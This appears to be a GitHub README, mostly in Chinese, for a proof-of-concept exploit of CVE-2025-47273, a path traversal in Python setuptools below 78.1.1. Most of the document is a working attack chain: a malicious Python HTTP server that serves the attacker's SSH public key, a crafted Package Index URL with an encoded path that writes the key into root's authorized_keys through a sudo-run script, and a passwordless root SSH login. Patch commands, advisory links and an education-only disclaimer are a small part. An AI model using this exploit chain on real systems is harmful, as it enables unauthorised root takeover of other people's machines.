AliElKhatteb/CVE-2025-47273-POC
GitHub: AliElKhatteb/CVE-2025-47273-POC
针对 Python setuptools 路径穿越漏洞 CVE-2025-47273 的概念验证代码,演示如何通过恶意 Package Index URL 实现任意文件写入和权限提升。
Stars: 0 | Forks: 0
# setuptools 路径穿越 CVE-2025-47273
## 📖 概述
针对 **Python setuptools < 78.1.1** 中路径穿越漏洞的概念验证漏洞利用代码。
通过滥用 `PackageIndex` 组件的 `_download_url` 函数,攻击者可以将任意文件写入文件系统的任何位置——其权限取决于运行 setuptools 的进程。
## 🎯 漏洞概要
| 字段 | 详情 |
|---|---|
| 🎯 目标 | Python setuptools < 78.1.1 |
| 🐛 漏洞类型 | 路径穿越 (CWE-22) |
| 💥 影响 | 任意文件写入 |
| 📍 攻击向量 | 恶意 Package Index URL |
| 🔍 根本原因 | 当第二个参数以 `/` 开头时,`os.path.join()` 会忽略 `tmpdir` |
## 📋 前置条件
- 两台机器上均安装了 Python 3
- 攻击者机器上已生成 SSH 密钥对 (`~/.ssh/id_rsa` + `id_rsa.pub`)
- 目标脚本使用用户可控的 URL 调用 setuptools 的 `PackageIndex`
## 🚀 使用方法
### 🔧 第一步 — 准备您的 SSH 公钥(攻击者机器)
```
# 将你的公钥复制到当前目录以进行提供
cp ~/.ssh/id_rsa.pub authorized_keys
```
### 📡 第二步 — 启动恶意 HTTP 服务器(攻击者机器)
该服务器会向**任何 GET 请求**响应您的公钥——无论请求路径是什么。setuptools 将请求路径 `/USER/.ssh/authorized_keys`,但会收到您的密钥内容。
```
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
```
### 💥 第三步 — 触发路径穿越(受害者机器)
```
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://YOUR_ATTACKER_MACHINE_IP/%2fUSER%2f.ssh%2fauthorized_keys#egg=evil-1.0"
```
### 👾 第四步 — 以 root 身份登录(攻击者机器)
```
ssh root@VICTIM_IP
```
无需密码。直接获取 root shell。🔑
## 🔒 补丁
版本 78.1.1 修复了此问题。
| 包管理器 | 命令 |
|---|---|
| 🐍 pip | `pip install --upgrade setuptools` |
| 🐧 Debian/Ubuntu | `sudo apt upgrade python3-setuptools` |
| 🎩 RHEL/Fedora | `sudo dnf upgrade python3-setuptools` |
| 🏗️ 手动安装 | [setuptools releases](https://github.com/pypa/setuptools/releases) |
## 📎 参考资料
- 🔗 [NVD — CVE-2025-47273](https://nvd.nist.gov/vuln/detail/CVE-2025-47273)
- 🔗 [GitHub Advisory — GHSA-5rjg-fvgr-3xxf](https://github.com/pypa/setuptools/security/advisories/GHSA-5rjg-fvgr-3xxf)
- 🔗 [setuptools Fix Commit](https://github.com/pypa/setuptools/commit/250a6d17978f9f6ac3ac887091f2d32886fbbb0b)
- 🔗 [setuptools poc](https://github.com/pypa/setuptools/issues/4946)
## ⚖️ 免责声明和条款
此概念验证 (PoC) 代码仅用于**教育和授权渗透测试目的**。
- **严禁**出于任何其他目的修改、重新分发或使用本代码。
- 未经授权的使用或修改可能**违法且不道德**。
- 作者对任何滥用或损害**不承担任何责任**。
标签:CVE-2025-47273, CWE-22, ExP, PackageIndex, PoC, Python, setuptools, SSH注入, 任意文件写入, 内存分配, 文档安全, 无后门, 暴力破解, 漏洞复现, 编程工具, 网络信息收集, 网络安全审计, 路径遍历, 软件开发工具包, 远程代码执行, 逆向工具